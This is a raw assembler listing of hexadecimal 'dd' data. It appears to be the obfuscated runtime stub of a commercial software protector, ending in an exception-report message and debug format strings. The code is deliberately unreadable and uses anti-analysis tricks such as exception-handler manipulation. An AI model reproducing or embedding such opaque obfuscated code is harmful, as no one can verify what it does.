7151DBDh, 71BD2906h, 6106072Ah, 10B4BF66h dd 0FB808589h, 95230609h, 607212Dh, 0B589FF6Ah, 6071331h dd 0AD5EC781h, 0B5FF5CEBh, 609FB80h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 7BC35242h, 9598FBCh, 5C82346Ch dd 0F9B96629h, 12E8E6h, 720D0000h, 0D6DA2821h, 53200BF2h dd 0A9B049EAh, 30C6B1Bh, 0D19958Bh, 0FF5F0607h, 72B8995h dd 12E906h, 0E9BB0000h, 0F7F61485h, 0D7381EEBh, 150DEEB9h dd 3C195325h, 0EF91858Dh, 6A0609h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 9E8D36C3h, 6E8h, 20D69800h dd 0FD55634h, 1988h, 14E900h, 0DBD90000h, 0E44ACE31h, 0D96755DCh dd 9743A5E3h, 4B4F6DF5h dd 0E85ABE94h, 0Dh, 96AD8303h, 182578BBh, 943CF3B8h, 0E8505FB9h dd 0Bh, 492A51D3h, 0C8D6B0F0h, 313814B7h, 71265B5h, 95FF5906h dd 6070F15h, 60E725BFh, 1B85893Fh, 8D0609F0h, 9EF9E85h dd 9D895306h, 60710EDh, 0FA8B505Fh, 0F01BB5FFh, 8D8B0609h dd 60701EDh, 8E9h, 514F5300h, 0B986B5EEh, 0BD95FF6Fh, 8B06070Dh dd 7265995h, 61958B06h, 89060700h, 7226D85h, 0F9858906h dd 8D06072Eh, 9F00C85h, 10E906h, 57000000h, 219A183h, 3D88CD41h dd 4198D2F1h, 0E9501E8Bh, 12h, 200594C8h, 0B75AD88Dh, 70D259B6h dd 0D0170FF1h, 85018723h, 6070081h, 0F01BB5FFh, 85010609h dd 60703CDh, 0DBD95FFh, 0E9600607h, 11h, 0B08FBDDCh, 0B3CD8BFh dd 0D249EC7Ah, 0AACDEC0h, 13E85712h, 0AC000000h, 0AAFF8A4Ah dd 7E5D08C6h, 0D1FE6B1Dh, 0A46F25D9h, 5B5BDB08h, 5D952961h dd 89060703h, 9F02F85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 77AFA6AFh, 21819503h dd 858D0607h, 609EFEBh, 8950D68Bh, 7193595h, 1BB5FF06h dd 0FC0609F0h, 0DBD95FFh, 0BE90607h, 29000000h, 0FA1ABA90h dd 0FF1CE034h, 8589F70Ch, 609F027h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 7BC35040h, 3A1CED59h, 8B68B660h dd 71161BDh, 858D6106h, 609EFDEh, 0C919D89h, 6A500607h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0FF8AC352h, 9F01BB5h, 55958B06h, 0FF06072Ah dd 70DBD95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 7A625EFCh, 145F26FDh, 139DBD89h dd 85890607h, 609F02Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0AAC35141h, 8DD3BF0Fh, 9EFF985h, 35BD8B06h dd 50060702h, 1ED99D89h, 0B5FF0607h, 609F01Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0A9C35747h, 0A948819Ch dd 97B15183h, 10E95Ah, 237E0000h, 8A0BAC95h, 0A0DB22D6h dd 0DB4BD4D5h, 95FFF5ABh, 6070DBDh, 8589FB8Bh, 6072C25h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6CC35747h dd 0B589DA87h, 60713D9h, 0EFAD858Dh, 6A0609h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0A9D0DDC3h dd 8D01507Bh, 6071F75h, 0F01BB5FFh, 958B0609h, 6070585h dd 105DBD03h, 95FF0607h, 6070DBDh, 5E820CBFh, 0BB59BA3Eh dd 85891074h, 609F01Fh, 26519D89h, 858D0607h, 609EFBCh dd 50CAB70Fh, 68A0Fh, 0BD8B0000h, 607136Dh, 0F01BB5FFh dd 0F5800609h, 0BD95FF77h, 6A06070Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0B532C356h dd 11BD232h, 7214185h, 0CA8006h, 0F0238589h, 4680609h dd 8B000001h, 0B3858DF9h, 0E80609F0h, 11h, 21C61574h, 25DA2134h dd 0C943D7A2h, 0C12B2D68h, 29505F65h, 72845BDh, 0B7858D06h dd 6A0609F1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0D6A1C356h, 8DAB538Fh, 53D9A641h dd 4A5BD8Bh, 505F0607h, 0A32AB966h, 194995FFh, 958B0607h dd 6070919h, 850FC085h, 6, 2B58D33h, 0BD800607h, 609FB8Ch dd 10850F00h, 81000000h, 0A37EFDC9h, 14EEE96Fh, 80BA0000h dd 8365A310h, 70B79BDh, 850F0006h, 30h, 0E258D8Bh, 0BD830607h dd 60A0036h, 43840F00h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 9C52C351h dd 0F050858Dh, 8D0B0609h, 6070B0Dh, 149BE9h, 958BF800h dd 60721CDh, 15E9h, 3810F00h, 66000000h, 858DFE8Bh, 609F03Bh dd 1856CA81h, 665046A6h, 0E91AF181h, 0F0B3858Dh, 24B10609h dd 0E98D0150h, 8306070Ah, 70B79BDh, 840F0006h, 55h, 11A5958Bh dd 7E80607h, 0F6000000h, 0BC3BA195h, 0BD8BFECFh, 6071315h dd 0D9858D59h, 6A0609F1h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0E9E1C355h, 0Ah, 9744C967h dd 70EE92FCh, 22E97BBDh, 89000000h, 712358Dh, 0C2858D06h dd 0E80609F1h, 5, 9E6DCA2Bh, 0F2816698h, 815FEF86h, 0B4D05ADAh dd 8D295048h, 6071265h, 0EADBD01h, 858D0607h, 609F211h dd 0C8D0Fh, 810F0000h, 6, 0F9B501h, 0FC500607h, 0A195FFh dd 10E80607h, 0B8000000h, 93A0E9DCh, 559CBD83h, 0B97EE1A7h dd 0F154FB7h, 68Dh, 8F0F00h, 5A000000h, 6610C483h, 8B549BB9h dd 0D1958BC0h, 83060720h, 71ACDBDh, 9750006h, 1135BD83h dd 74000607h, 8B535019h, 7D3B8C0h, 85890000h, 6071F7Dh dd 0ADC09D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h dd 7D3B853h, 85890000h, 6071F7Dh, 0AAAF9D8Dh, 0D3FF0609h dd 0B966585Bh, 6A46D9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 7ADA74C3h, 0DD9FB605h, 0CBB70F8Ch dd 0B70FC08Bh, 3BBD81D0h, 6F0609F0h, 0F616572h, 0AD84h dd 8D5A5700h, 9F0B385h, 858D5006h, 609F1F0h, 11858D50h dd 500609F2h, 0A195FFh, 0C4830607h, 0CD85C60Ch, 44060709h dd 0A3184F68h, 9DB5FF96h, 8D060705h, 7396385h, 8BD0FF06h dd 11858DD8h, 500609F2h, 858DD3FFh, 609F03Bh, 0B3858D50h dd 500609F0h, 0B79BD83h, 74000607h, 0D9858D08h, 0EB0609F1h dd 0C2858D06h, 500609F1h, 0F211858Dh, 0FF500609h, 700A195h dd 10C48306h, 0FE8h, 0B7E72C00h, 0E3B8A8BDh, 0D30243FAh dd 50BB6E1Dh, 12E9h, 85AF6400h, 1CBB6A9Ah, 13F0DC8h, 0D128A7Fh dd 59547B11h, 0C03DA81h, 95FF3D5Ch, 6070651h, 11E9h, 6FF67C00h dd 48294E6Fh, 0B11364C1h, 63666047h, 0FF25405Ah, 60000000h dd 68D0Fh, 9D290000h, 6070705h, 5F88361h, 64830Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 87162FC3h, 0CB253DD4h, 5FFBEA81h, 85C76738h, 60713A1h dd 1, 0CD958B53h, 59060710h, 0F06F858Dh, 6A0609h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0E9229EC3h, 0A8h, 0BD83CB8Bh, 6070B79h, 6E840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 6A02C356h, 5A3F0073h, 8D20D5A4h, 9F09A85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0ED7C7A0h, 64C18166h, 0C9B70F5Fh, 43E9h dd 13E900h, 49FB0000h, 168276C7h, 832FA93Ch, 648F1139h dd 2B4047D1h, 7C858D4Ah, 6A0609F0h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 7ECC357h dd 5CA77A6Ch, 0C6D9801Ch, 0F0AF8589h, 6A0609h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 1071CDC3h, 0DA8112E3h, 40099179h, 0B79BD83h, 0F000607h dd 2285h, 0EE900h, 0ACB20000h dd 1401525Eh, 95772712h, 0A82B8E28h, 36BD83h, 0F00060Ah dd 2084h, 0E9C88B00h, 10B0h, 0EE8h, 0C2E5C00h, 0CBC00574h dd 151E3E94h, 0BA04E968h, 7C8E4DADh, 4D6E95Fh, 9D090000h dd 6073035h, 5E9C08Bh, 0B1000000h, 2ECB2266h, 1ACDBD83h dd 75000607h, 35BD8309h, 60711h, 53501974h, 0D4B8C08Bh dd 89000007h, 71F7D85h, 0C09D8D06h, 0FF0609ADh, 83585BD3h dd 71135BDh, 17740006h, 0D4B85350h, 89000007h, 71F7D85h dd 0AF9D8D06h, 0FF0609AAh, 6A585BD3h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0A9A7C356h dd 80605250h, 0B70F79F7h, 8A0F61F9h, 6, 45958Bh, 81660607h dd 66E429E7h, 0DB59CF81h, 0E957C08Bh, 7, 0B60C2ABh, 5FB54B3Eh dd 68C88B66h, 0F003Fh, 67DF8166h, 0F006AA7h, 180h, 0E88AF500h dd 0BD89006Ah, 6071EF9h, 226D95FFh, 0B5310607h, 6072A71h dd 0C085D18Bh, 2850Fh, 0D78B0000h, 0F0338589h, 0BF660609h dd 6A5A60h, 6AC88Bh, 0F213E781h, 8D89172Ah, 6072079h, 8166006Ah dd 894328C2h, 705BDB5h, 6A006A06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 9973C353h dd 0A659E2CEh, 0C519D09h, 6A0607h, 29E2B966h, 0F211858Dh dd 890F0609h, 0Ch, 6870Fh, 830F0000h, 0 dd 6AFE8B50h, 0D5958B01h, 6A060729h, 6810F01h, 8B000000h dd 71809BDh, 66016A06h, 134ED781h, 0F01FF68h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0D393F0E2h, 0CF3EA7BCh, 0EE9E340h, 57000000h, 2D4DE792h dd 9B1523FEh, 0E2D1D925h, 79BD83F2h, 6070Bh, 1F840Fh, 0B5890000h dd 607293Dh, 858DF88Bh, 609F090h, 1061B589h, 2FE90607h dd 89000000h, 7142DBDh, 66858D06h, 6A0609F0h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0AB61C356h, 3F7BBA2Bh, 0F5026BFh, 185h, 8D89FC00h, 60712D9h dd 0FEB65350h, 33B5FF5Fh, 810609F0h, 0EAA4CCC2h, 1F95FF5Eh dd 6A0609F0h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0EC7AC353h, 0DEC0D249h, 0C0DBD29h dd 0C0850607h, 15850Fh, 0B70F0000h, 0ADBD8BD3h, 0E9060702h dd 89h, 7A75FCB9h, 89FE8B0Dh, 9F03785h, 14E906h, 0AF9C0000h dd 3844C0Dh, 71EF014Fh, 74942902h, 8AB4330Dh, 0B5FF5BB9h dd 609F037h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 20C35141h, 89CA5673h, 70079B5h, 28C0F06h, 8B000000h dd 2595FFCFh, 8106072Ch, 9BD1C7DAh, 0FC08558h, 1C85h, 10880F00h dd 0E8000000h, 8, 0D1339884h, 0C974A0B4h, 0B5FCB8Bh, 708F9BDh dd 66106A06h, 83BDC3BFh, 70B79BDh, 840F0006h, 35h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D1C35343h, 80B0EA28h dd 0F5F580A5h, 0F090858Dh, 14E90609h, 9000000h, 71E019Dh dd 66858D06h, 500609F0h, 1DF9BD8Bh, 50590607h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0DAC35545h, 873DAE4Eh dd 2E99B966h, 33B5FFF5h, 600609F0h, 23819589h, 0EE80607h dd 8D000000h, 0ADF84167h, 6ED2376Dh, 71285E82h, 0F1E981E5h dd 5A2B720Eh, 2B95FF61h, 600609F0h, 0D29B501h, 800F0607h dd 6, 890Fh, 0E9610000h, 11h, 0CC0F2077h, 0C0D843D8h, 815B0824h dd 0B54AF8Dh, 0FC08572h, 2485h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0A3B76D2Dh dd 8A679452h, 378589F5h, 0F0609F0h, 589h, 0D417B900h, 6A0F2Eh dd 8F0F57h, 5A000000h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0C6187C3h, 410B5931h dd 0F59531B4h, 8B06072Bh, 71A51BDh, 37B5FF06h, 890609F0h dd 70CB585h, 2395FF06h, 6A0609F0h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0D5D8C357h dd 3EC741BCh, 0F00E76Fh, 0C085D1B7h, 6850Fh, 8D890000h dd 6071F85h, 0F037B5FFh, 8D890609h, 6070C79h, 0CE9h, 0B1D28000h dd 0A8DA9290h, 0A9BE38FFh, 2595FF69h, 8B06072Ch, 71B3995h dd 0FC08506h, 2385h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 958B1173h, 6071DB1h, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 6E136BC3h, 45AD0091h, 2398D31h, 80680607h, 31000000h dd 729BDB5h, 0E8036A06h, 8, 0DF9CBF54h, 0EB4DAD58h, 590AD580h dd 810F006Ah, 6, 820Fh, 81660000h, 6A52B6D1h, 0C9BF0F00h dd 68h, 0D7BF0FC0h, 0F0AFB5FFh, 0B5890609h, 60722CDh, 112D95FFh dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 175D23C3h, 0A115614Eh, 0FFFF883h, 49685h dd 0E1E98100h, 8948390Eh, 72871B5h, 1D85FF06h, 570609FBh dd 6840Fh, 0BD890000h, 6070E21h, 1DBD8359h, 20609FBh, 3D7840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 99B936C3h, 8D74541Ah, 5AF59F85h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0B9C6DD09h, 8BD0FF2Fh, 708C5BDh, 0F2858D06h, 0FF005AEFh dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 8BC2ACD6h, 41BD23A1h, 8B060711h, 23E281C0h dd 834CFB4Ah, 71ACDBDh, 9750006h, 1135BD83h, 74000607h dd 8B535019h, 7D8B8C0h, 85890000h, 6071F7Dh, 0ADC09D8Dh dd 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h, 7D8B853h dd 85890000h, 6071F7Dh, 0AAAF9D8Dh, 0D3FF0609h, 0BF66585Bh dd 5E9958Fh, 0A3000000h, 0A17E19B5h, 6850Fh, 8D310000h dd 6072D79h, 0BF0FC08Bh, 3F68CFh, 0C7BA000Fh, 6A10D099h dd 0AE800h, 0AA370000h, 0CD73ADCEh, 5297592h, 1E818D23h dd 0B5F0607h, 701FD8Dh, 0FF006A06h, 7226D95h, 0C085F806h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 1CC35141h dd 35BD8B22h, 0E9060730h, 5, 0BA69B8FEh, 33858989h, 230609F0h dd 70D8995h, 1FF6806h, 9523000Fh, 60723A9h, 22119533h dd 0BD830607h, 6070B79h, 38840F00h, 66000000h, 0CA81D08Bh dd 66F6D635h, 0F090858Dh, 6A0609h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 19FFCFC3h, 0E9F96500h dd 2Dh, 8DC88B66h, 9F06685h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 8D4E4BB9h dd 0BCC31DA6h, 816650B7h, 0FF5BF9F1h, 9F033B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 9589695Fh, 60709B5h, 0F02B95FFh, 0C6800609h, 378589BAh dd 0F0609F0h, 48Bh, 0C0BA6600h, 5985C780h, 6072Eh, 0F000000h dd 0BD83FABFh, 609F037h, 90840F00h, 0E9000001h, 0Ah, 49183CD7h dd 1CAEBF96h, 858D844Dh, 609F315h, 1DA18589h, 5E90607h dd 0E2000000h, 65FB2A1Bh, 16AF850h, 4CD18166h, 37B5FFD3h dd 8B0609F0h, 7049DBDh, 71850106h, 0FF060732h, 9F02F95h dd 0B5FFF506h, 609F037h, 1BD9523h, 95FF0607h, 6072C25h dd 47EF8166h, 0D68B6671h, 0F01FF68h, 0B5895100h, 607292Dh dd 79BD835Fh, 6070Bh, 3A840Fh, 0F88B0000h, 0F090858Dh dd 6A0609h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0EE92FCC3h, 8B7BBD70h, 7100995h, 0D1853106h dd 0E9060710h, 32h, 0F066858Dh, 6A0609h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 9543C3C3h dd 8C0F2C4Ch, 6, 89BD8Bh, 66500607h, 614DF281h, 0F033B5FFh dd 8B600609h, 71E859Dh, 0BD8B5706h, 607076Dh, 95FF615Ah dd 609F02Bh, 0BAF18166h, 378589D2h, 660609F0h, 850FCA8Bh dd 2, 0B5FFCB8Bh, 609F037h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 16C35747h, 0DA41B950h, 1B2CBE45h, 0FF65D180h dd 9F02795h, 8D896006h, 6071F49h, 0AE58589h, 0FF610607h dd 9F037B5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 7ECBD242h, 564EB263h, 2C2595FFh, 0E9F90607h, 0FFFFF68Ch dd 687EBABAh, 80B5FF4Ah, 560609FBh, 3D1BD8Bh, 0FF590607h dd 7185995h, 6E906h, 752B0000h, 0A8B7ECC8h, 2205858Bh dd 840F0607h, 6, 22C19523h, 0E90607h, 8D000005h, 9F335B5h dd 0B9B58906h, 8D060708h, 99FA885h, 6860F06h, 8B000000h dd 713CDBDh, 53D0FF06h, 1E298501h, 6A590607h, 9F93BF00h dd 95FF39A4h, 6072BDDh, 8BF8BF0Fh, 858DF9F3h, 6099FA8h dd 0D0FF55B5h, 2F03F5BFh, 66006A32h, 0FF08D3B9h, 72BDD95h dd 66C18106h, 8B33B63Fh, 0BD83F9C0h, 6071ACDh, 83097500h dd 71135BDh, 19740006h, 0C08B5350h, 7D9B8h, 7D858900h dd 8D06071Fh, 9ADC09Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501774h dd 7D9B8h, 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 258D8B58h dd 8906070Ah, 71F69B5h, 0F1816606h, 0C08BAE5Eh, 22F98589h dd 66500607h, 8B1CBABAh, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 6E939D1Fh, 10685611h dd 6800Fh, 8D290000h, 607207Dh, 9E8h, 3BF84F00h, 0D7593545h dd 6E82F20h, 3A000000h, 996FD073h, 7D950382h, 5A060720h dd 9D8D535Ah, 6070F2Dh, 389038Bh, 8950438Bh, 9D8D5043h dd 609FB19h, 389038Bh, 1D18A5Bh, 705159Dh, 258D8B06h, 0F06072Ah dd 1485h, 8E800h, 21960000h, 0AAA0CAA4h, 9D894E81h, 6070085h dd 6A006A5Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0E04AC351h, 19A5D1D2h, 29C6808Eh dd 858DC6B1h, 609FB19h, 0EE9h, 6E6DDA00h, 56956D8Bh, 4B1BC914h dd 50893D10h, 2D18D8Bh, 606A0607h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0DC35747h, 0CE7E1C51h, 0BD89B639h dd 6070CD9h, 0F2D858Dh, 5A510607h, 2A19BD8Bh, 89500607h dd 70911BDh, 1006A06h, 72359B5h, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 8564C357h dd 1ABE8BA1h, 2890Fh, 0CF8B0000h, 685FB5h, 8B000018h, 70CB1BDh dd 0AABA6606h, 0F98B5326h, 1E6595FFh, 33BF0607h, 0FF5CA309h dd 702C195h, 0A58D8906h, 0FF06071Eh, 9FB80B5h, 0ED8D8B06h dd 0FF060713h, 7185995h, 4DB50906h, 8D06072Eh, 70F2D85h dd 0F535606h, 85h, 8B5A5F00h, 8D331840h, 607055Dh, 0FA985C7h dd 607h, 0C9810000h, 7BA335DDh, 0B79BD83h, 0F000607h, 3E84h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 10A70EEAh, 1CAABD99h, 8C3DFCA9h, 0F000000h dd 17883h, 31952900h, 0E9060711h, 14h, 3D10EA80h, 96h dd 15F830Fh, 85890000h, 607111Dh, 0F59F858Dh, 9533005Ah dd 607108Dh, 78DBD8Bh, 0D0FF0607h, 2B81B529h, 858D0607h dd 5AEFF2h, 6810Fh, 85890000h, 6071425h, 9589D0FFh, 607300Dh dd 8BCABF0Fh, 0DBBA66C0h, 0CDBD8321h, 6071Ah, 0BD830975h dd 6071135h, 50197400h, 0B8C08B53h, 0BC6h, 1F7D8589h, 9D8D0607h dd 609ADC0h, 585BD3FFh, 1135BD83h, 74000607h, 0B8535017h dd 0BC6h, 1F7D8589h, 9D8D0607h, 609AAAFh, 585BD3FFh, 0C08B5A53h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 72C35242h dd 0ECF838BFh, 0CDBD2376h, 83060705h, 850FFFF8h, 79h, 7880Fh dd 0BF520000h, 747740DAh, 0E985C75Fh, 6072Fh, 80000000h dd 2FE997CDh, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 49C6C356h, 0FCB172A4h dd 12E9h, 18564100h, 22118253h, 0A73ECFFCh, 0D8C74B40h dd 0E93059B4h, 36h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0ACC35646h, 1F88331h, 10850Fh, 5F500000h dd 0DAE9h, 65BD8B00h, 66060718h, 1DE9FE8Bh, 8BFFFFF2h dd 705D58Dh, 8BC08B06h, 7034595h, 0CDBD8306h, 6071Ah, 0BD830975h dd 6071135h, 50197400h, 0B8C08B53h, 7DDh, 1F7D8589h, 9D8D0607h dd 609ADC0h, 585BD3FFh, 1135BD83h, 74000607h, 0B8535017h dd 7DDh, 1F7D8589h, 9D8D0607h, 609AAAFh, 585BD3FFh, 6800Fh dd 85310000h, 6070841h, 8D8BB2B2h, 60718B9h, 8166C08Bh dd 0E98E3AD9h, 230h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 34C35545h, 0E80F8DE1h, 0Bh, 5CBDC32Ch dd 0B159332h, 0F33C0DDh, 68Dh, 459D8900h, 59060711h, 858D24B5h dd 609F91Dh, 89D6B70Fh, 9FB1585h, 42E9F806h, 8D000000h dd 9F72585h, 0CF816606h, 6A40065Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0E770C355h dd 0C5F700FBh, 952B567Bh, 6070091h, 1585895Fh, 810609FBh dd 0E43514D7h, 8D346A6Fh, 7143185h, 0B5FF5006h, 609FB15h dd 95FF006Ah, 6070581h, 0F07F883h, 16284h, 0DB8C6600h dd 0F04C3F6h, 0FC85h, 0CD85C600h, 56060709h, 0A8B85268h dd 9DB5FF9Ch, 8D060705h, 7396385h, 6AD0FF06h, 10006804h dd 646A0000h, 0D0FF006Ah, 0FB888589h, 85C60609h, 60709CDh dd 0AC9B6847h, 0B5FFEC18h, 607059Dh, 3963858Dh, 0D0FF0607h dd 0F08BD0FFh, 9CD85C6h, 684F0607h, 0C62F2661h, 29E5B5FFh dd 858D0607h, 6073963h, 9D8DD0FFh, 609FB84h, 56286A53h dd 0C085D0FFh, 85C60075h, 60709CDh, 64986841h, 0B5FFDB87h dd 60729E5h, 3963858Dh, 0D0FF0607h, 0FBA18589h, 85C60609h dd 60709CDh, 0E7A4684Ch, 0B5FF80A4h, 60729E5h, 3963858Dh dd 0D0FF0607h, 0FB889D8Bh, 5B8D0609h, 9D8D5304h, 609FB8Dh dd 0FF006A53h, 889D8BD0h, 0C70609FBh, 103h, 0C43C700h dd 2, 0BBD85C7h, 607h, 6A0000h, 6A006Ah, 0FB889D8Bh, 6A530609h dd 84B5FF00h, 0FF0609FBh, 9FBA195h, 0CD85C606h, 45060709h dd 0A5F79768h, 85B5FF92h, 8D060710h, 7396385h, 6AD0FF06h dd 0FF026A00h, 0DB8C66D0h, 7504C3F6h, 889D8B32h, 0C70609FBh dd 0C43h, 6A0000h, 9D8B006Ah, 609FB88h, 0FF006A53h, 9FB84B5h dd 0A195FF06h, 0FF0609FBh, 9FB84B5h, 0C195FF06h, 6A060702h dd 0DD95FF00h, 6006072Bh, 0C859D33h, 0B58B0607h, 6070A81h dd 0FA8B6661h, 2F5D858Dh, 10E8060Ah, 0F0000000h, 1FAEC082h dd 0F660B734h, 0AB64196Bh, 0E931A8ECh, 12h, 8AF9A08Fh dd 0E0AEBB4Ch, 53678D6h, 0CD1E267Ah, 0F5F130Fh, 386h, 0FB8B6600h dd 5E950h, 6F980000h, 89721791h, 7215D95h, 35FF6406h, 0 dd 89FABF0Fh, 70A3D9Dh, 25896406h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 5C35141h dd 35BD8305h, 60733h, 3E840Fh, 0BD8B0000h, 6071861h, 19BDBD83h dd 0F010607h, 2B85h, 7E800h, 8DA40000h, 0FBEDBE14h, 85953136h dd 5F060704h, 0FFA1BD80h, 0F000609h, 0B85h, 12DE900h, 0BD330000h dd 60714DDh, 8501DB33h, 6070759h, 0BD89C033h, 6072F69h dd 3F0F40FCh, 8F640B07h, 5, 4C48300h, 0BF0FD58Ah, 4D8D2BC8h dd 8306071Bh, 840FFFFBh, 12h, 0E3E9F8h, 860F0000h, 6, 3DBD8Bh dd 4CE90607h, 0F8000000h, 0C244C8Bh, 0A481C7h, 0FFFF0000h dd 8183FFFFh, 0B8h, 0C3C03304h, 0C245C8Bh, 0E855h, 815D0000h dd 0A2F7FEDh, 0B8838B06h, 8D000000h, 0A303885h, 0B8838906h dd 5D000000h, 31C3C033h, 702E585h, 0D5B58906h, 8D060718h dd 0A2F7585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0EE205067h, 6A5056h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 15EFA5C3h dd 6454988Fh, 35FFh, 8BF0000h, 6473036Eh, 2589h, 0B70F0000h dd 0AB9D3h, 4B80000h, 54855D7h, 0DF78164h, 85D465BBh, 0B640BA86h dd 0EA810034h, 345FE8h, 68FB81EDh, 75564D58h, 7985C70Ah dd 1060728h, 64000000h, 58Fh, 0C4830000h, 9BD8B04h, 0B9060703h dd 12A34DA6h, 9533C08Bh, 6070FA1h, 1ACDBD83h, 75000607h dd 35BD8309h, 60711h, 53501974h, 3DB8C08Bh, 89000004h dd 72F8185h, 279D8D06h, 0FF0609AEh, 83585BD3h, 71135BDh dd 17740006h, 3DB85350h, 89000004h, 72F8185h, 0C89D8D06h dd 0FF0609AAh, 60585BD3h, 0E106B866h, 0E2B96661h, 52006A45h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 2D9B9D97h, 167FBD0Ch, 0E9C08BF8h, 13Ah, 4, 35382E31h dd 35h, 6 dup(0) dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h dd 25203D20h, 